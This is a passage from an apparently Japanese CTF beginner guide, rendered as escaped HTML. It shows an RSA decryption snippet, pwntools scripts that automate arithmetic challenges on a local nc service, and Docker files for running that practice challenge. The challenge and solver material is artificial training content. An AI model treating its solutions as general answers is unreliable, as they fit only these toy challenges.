&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">10952625052656831515204538182703136388328319215692561827776703217129125920630092954719731657697359076607720006975422546048557875675403691541340687683615299&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">65537&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">phi&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">d&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">phi&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">m&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">n&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># or m.to_bytes((m.bit_length() + 7) // 8, byteorder=&amp;#39;big&amp;#39;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="misc">Misc&lt;/h2>
&lt;h3 id="ターミナルの入出力の自動化">ターミナルの入出力の自動化&lt;/h3>
&lt;ul>
&lt;li>一行ずつ読み取る場合：&lt;code>p.recvline()&lt;/code>&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>$ nc 127.0.0.1 4649
Add and answer in decimal.
0x1a87
0b1010100001100
0o6221
0o4054
0xae2
answer:
&lt;/code>&lt;/pre>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">Solver.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">re&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># p = process([&amp;#34;python&amp;#34;, &amp;#34;main.py&amp;#34;])　# ローカルでプログラムを実行&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;127.0.0.1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">4649&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">numbers&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">sum&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># 一行取得，改行削除，byte列 -&amp;gt; 文字列 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">numbers&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">numbers&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">re&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="k">match&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;^0b&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cast&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">:],&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">re&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="k">match&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;^0x&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cast&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">:],&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cast&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">:],&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">sum&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">cast&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;answer: &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">sum&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">sum&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># ターミナルへ書き込む(byte列で与える)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvall&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># 全てのレスポンスを表示&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;ul>
&lt;li>変数ごとに読み取る場合：&lt;code>p.recvuntil(b'n = ')&lt;/code>&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>$ nc 127.0.0.1 4649
Multiply and answer in decimal.
a = 4290
b = 1777
c = 6279
answer:
&lt;/code>&lt;/pre>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">Solver.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># p = process([&amp;#34;python&amp;#34;, &amp;#34;main.py&amp;#34;])　# ローカルでプログラムを実行&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;127.0.0.1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">4649&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># 一行取得，改行削除，byte列 -&amp;gt; 文字列 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;a = &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># &amp;#39;a = &amp;#39;まで読み取る&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># 一行読み取る&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;b = &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;c = &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;: &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ans&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ans&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ans&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># ターミナルへ書き込む(byte列で与える)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvall&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="c1"># 全てのレスポンスを表示&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;details>&lt;summary>Dockerで試してみる場合の手順&lt;/summary>
&lt;h4 id="まずは以下の四つのファイルを作成">まずは，以下の四つのファイルを作成．&lt;/h4>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">dockerfile&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;pre tabindex="0">&lt;code>FROM python:3.12.4-slim
RUN apt-get clean &amp;amp;&amp;amp; \
apt-get update &amp;amp;&amp;amp; \
apt-get install -y socat &amp;amp;&amp;amp; \
rm -rf /var/lib/apt/lists/*
RUN useradd -m -d /home/admin -s /bin/bash admin
WORKDIR /home/admin
COPY --chown=root:admin --chmod=050 ./main.py ./main.py
COPY --chown=root:admin --chmod=040 ./flag.py ./flag.py
USER admin
EXPOSE 4649
ENTRYPOINT [&amp;#34;socat&amp;#34;, &amp;#34;-t&amp;#34;, &amp;#34;300&amp;#34;, &amp;#34;-T&amp;#34;, &amp;#34;30&amp;#34;, &amp;#34;TCP-LISTEN:4649,reuseaddr,nodelay,fork&amp;#34;, &amp;#34;EXEC:python3 main.py&amp;#34;]&lt;/code>&lt;/pre>&lt;/div>
&lt;/figure>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">docker-compose.yml&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;pre tabindex="0">&lt;code>services:
admin:
build: .
container_name: &amp;#34;Terminal-Hack&amp;#34;
ports:
- &amp;#34;0.0.0.0:4649:4649&amp;#34;
restart: unless-stopped&lt;/code>&lt;/pre>&lt;/div>
&lt;/figure>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">main.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flag&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">FLAG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">random&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">add&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Add and answer in decimal.&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">sum&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">random&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10000&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">sum&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">num&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">num&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">3&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">bin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">num&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">num&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">3&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">oct&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">num&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">num&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;answer: &amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">num&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">sum&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Corect! &amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;It&amp;#39;s not right.&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">mult&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Multiply and answer in decimal.&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;b&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;c&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">random&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10000&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans&lt;/span> &lt;span class="o">*=&lt;/span> &lt;span class="n">num&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2"> = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">num&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
